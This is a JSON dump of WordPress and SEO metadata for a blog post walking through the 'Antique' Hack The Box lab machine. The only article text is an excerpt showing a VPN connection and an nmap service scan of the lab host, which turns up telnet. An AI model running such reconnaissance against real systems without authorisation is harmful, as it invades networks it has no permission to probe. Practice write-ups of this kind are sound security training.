Box\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/jasonlcurby.com\\\/blog\\\/#website\",\"url\":\"https:\\\/\\\/jasonlcurby.com\\\/blog\\\/\",\"name\":\"JLC\",\"description\":\"Rofo\",\"publisher\":{\"@id\":\"https:\\\/\\\/jasonlcurby.com\\\/blog\\\/#\\\/schema\\\/person\\\/187b41b22ffae39c83b69ddc480ea1f3\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/jasonlcurby.com\\\/blog\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-AU\"},{\"@type\":[\"Person\",\"Organization\"],\"@id\":\"https:\\\/\\\/jasonlcurby.com\\\/blog\\\/#\\\/schema\\\/person\\\/187b41b22ffae39c83b69ddc480ea1f3\",\"name\":\"rofo\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-AU\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/d2dd9850d47eebbd37c03d0e52e99b93092ad17dac4f99a7154b214dfe78d894?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/d2dd9850d47eebbd37c03d0e52e99b93092ad17dac4f99a7154b214dfe78d894?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/d2dd9850d47eebbd37c03d0e52e99b93092ad17dac4f99a7154b214dfe78d894?s=96&d=mm&r=g\",\"caption\":\"rofo\"},\"logo\":{\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/d2dd9850d47eebbd37c03d0e52e99b93092ad17dac4f99a7154b214dfe78d894?s=96&d=mm&r=g\"},\"sameAs\":[\"https:\\\/\\\/jasonlcurby.com\\\/blog\",\"https:\\\/\\\/www.facebook.com\\\/jason.curby\",\"https:\\\/\\\/www.instagram.com\\\/jasoncurby\\\/\",\"https:\\\/\\\/www.linkedin.com\\\/in\\\/jason-curby\\\/\",\"https:\\\/\\\/x.com\\\/https:\\\/\\\/twitter.com\\\/JasonCurby\"],\"url\":\"https:\\\/\\\/jasonlcurby.com\\\/blog\\\/author\\\/jlcurby\\\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Antique Machine Walkthrough \u2013 Hack The Box - JLC","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/jasonlcurby.com\/blog\/2022\/06\/21\/antique-machine-walkthrough-hack-the-box\/","og_locale":"en_US","og_type":"article","og_title":"Antique Machine Walkthrough \u2013 Hack The Box - JLC","og_description":"Antique is rated as an easy machine on HTB. Enumeration First we grab the&nbsp;.ovpn&nbsp;file for the VPN and connect to the network from our machine:&nbsp;openvpn rofo.ovpn.&nbsp;An initial nmap of the target is next. Then the nmap: nmap: nmap -sV -open -vvv -oA initial_scan 10.10.11.107 Result is an open port 23\/tcp telnet? \u2013 unrecognized fingerprint &#8211; [&hellip;]","og_url":"https:\/\/jasonlcurby.com\/blog\/2022\/06\/21\/antique-machine-walkthrough-hack-the-box\/","og_site_name":"JLC","article_publisher":"https:\/\/www.facebook.com\/jason.curby","article_author":"https:\/\/www.facebook.com\/jason.curby","article_published_time":"2022-06-21T01:12:45+00:00","article_modified_time":"2023-08-06T06:59:17+00:00","og_image":[{"width":955,"height":217,"url":"https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2023\/08\/antique-1.jpg","type":"image\/jpeg"}],"author":"rofo","twitter_card":"summary_large_image","twitter_creator":"@https:\/\/twitter.com\/JasonCurby","twitter_site":"@JasonCurby","twitter_misc":{"Written by":"rofo","Est. reading time":"10 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/jasonlcurby.com\/blog\/2022\/06\/21\/antique-machine-walkthrough-hack-the-box\/#article","isPartOf":{"@id":"https:\/\/jasonlcurby.com\/blog\/2022\/06\/21\/antique-machine-walkthrough-hack-the-box\/"},"author":{"name":"rofo","@id":"https:\/\/jasonlcurby.com\/blog\/#\/schema\/person\/187b41b22ffae39c83b69ddc480ea1f3"},"headline":"Antique Machine Walkthrough \u2013 Hack The Box","datePublished":"2022-06-21T01:12:45+00:00","dateModified":"2023-08-06T06:59:17+00:00","mainEntityOfPage":{"@id":"https:\/\/jasonlcurby.com\/blog\/2022\/06\/21\/antique-machine-walkthrough-hack-the-box\/"},"wordCount":1702,"commentCount":0,"publisher":{"@id":"https:\/\/jasonlcurby.com\/blog\/#\/schema\/person\/187b41b22ffae39c83b69ddc480ea1f3"},"image":{"@id":"https:\/\/jasonlcurby.com\/blog\/2022\/06\/21\/antique-machine-walkthrough-hack-the-box\/#primaryimage"},"thumbnailUrl":"https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2023\/08\/antique-1.jpg","articleSection":["Cybersecurity","Hack The Box"],"inLanguage":"en-AU","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/jasonlcurby.com\/blog\/2022\/06\/21\/antique-machine-walkthrough-hack-the-box\/#respond"]}]},{"@type":"WebPage","@id":"https:\/\/jasonlcurby.com\/blog\/2022\/06\/21\/antique-machine-walkthrough-hack-the-box\/","url":"https:\/\/jasonlcurby.com\/blog\/2022\/06\/21\/antique-machine-walkthrough-hack-the-box\/","name":"Antique Machine Walkthrough \u2013 Hack The Box - JLC","isPartOf":{"@id":"https:\/\/jasonlcurby.com\/blog\/#website"},"primaryImageOfPage":{"@id":"https:\/\/jasonlcurby.com\/blog\/2022\/06\/21\/antique-machine-walkthrough-hack-the-box\/#primaryimage"},"image":{"@id":"https:\/\/jasonlcurby.com\/blog\/2022\/06\/21\/antique-machine-walkthrough-hack-the-box\/#primaryimage"},"thumbnailUrl":"https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2023\/08\/antique-1.jpg","datePublished":"2022-06-21T01:12:45+00:00","dateModified":"2023-08-06T06:59:17+00:00","breadcrumb":{"@id":"https:\/\/jasonlcurby.com\/blog\/2022\/06\/21\/antique-machine-walkthrough-hack-the-box\/#breadcrumb"},"inLanguage":"en-AU","potentialAction":[{"@type":"ReadAction","target":["https:\/\/jasonlcurby.com\/blog\/2022\/06\/21\/antique-machine-walkthrough-hack-the-box\/"]}]},{"@type":"ImageObject","inLanguage":"en-AU","@id":"https:\/\/jasonlcurby.com\/blog\/2022\/06\/21\/antique-machine-walkthrough-hack-the-box\/#primaryimage","url":"https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2023\/08\/antique-1.jpg","contentUrl":"https:\/\/jasonlcurby.com\/blog\/wp-content\/uploads\/2023\/08\/antique-1.jpg","width":955,"height":217},{"@type":"BreadcrumbList","@id":"https:\/\/jasonlcurby.com\/blog\/2022\/06\/21\/antique-machine-walkthrough-hack-the-box\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/jasonlcurby.com\/blog\/"},{"@type":"ListItem","position":2,"name":"Antique Machine Walkthrough \u2013 Hack The Box"}]},{"@type":"WebSite","@id":"https:\/\/jasonlcurby.com\/blog\/#website","url":"https:\/\/jasonlcurby.com\/blog\/","name":"JLC","description":"Rofo","publisher":{"@id":"https:\/\/jasonlcurby.com\/blog\/#\/schema\/person\/187b41b22ffae39c83b69ddc480ea1f3"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/jasonlcurby.com\/blog\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-AU"},{"@type":["Person","Organization"],"@id":"https:\/\/jasonlcurby.com\/blog\/#\/schema\/person\/187b41b22ffae39c83b69ddc480ea1f3","name":"rofo","image":{"@type":"ImageObject","inLanguage":"en-AU","@id":"https:\/\/secure.gravatar.com\/avatar\/d2dd9850d47eebbd37c03d0e52e99b93092ad17dac4f99a7154b214dfe78d894?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/d2dd9850d47eebbd37c03d0e52e99b93092ad17dac4f99a7154b214dfe78d894?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/d2dd9850d47eebbd37c03d0e52e99b93092ad17dac4f99a7154b214dfe78d894?s=96&d=mm&r=g","caption":"rofo"},"logo":{"@id":"https:\/\/secure.gravatar.com\/avatar\/d2dd9850d47eebbd37c03d0e52e99b93092ad17dac4f99a7154b214dfe78d894?s=96&d=mm&r=g"},"sameAs":["https:\/\/jasonlcurby.com\/blog","https:\/\/www.facebook.com\/jason.curby","https:\/\/www.instagram.com\/jasoncurby\/","https:\/\/www.linkedin.com\/in\/jason-curby\/","https:\/\/x.com\/https:\/\/twitter.com\/JasonCurby"],"url":"https:\/\/jasonlcurby.com\/blog\/author\/jlcurby\/"}]}},"_links":{"self":[{"href":"https:\/\/jasonlcurby.com\/blog\/wp-json\/wp\/v2\/posts\/195","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/jasonlcurby.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/jasonlcurby.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/jasonlcurby.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/jasonlcurby.com\/blog\/wp-json\/wp\/v2\/comments?post=195"}],"version-history":[{"count":30,"href":"https:\/\/jasonlcurby.com\/blog\/wp-json\/wp\/v2\/posts\/195\/revisions"}],"predecessor-version":[{"id":588,"href":"https:\/\/jasonlcurby.com\/blog\/wp-json\/wp\/v2\/posts\/195\/revisions\/588"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/jasonlcurby.com\/blog\/wp-json\/wp\/v2\/media\/587"}],"wp:attachment":[{"href":"https:\/\/jasonlcurby.com\/blog\/wp-json\/wp\/v2\/media?parent=195"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/jasonlcurby.com\/blog\/wp-json\/wp\/v2\/categories?post=195"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/jasonlcurby.com\/blog\/wp-json\/wp\/v2\/tags?post=195"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}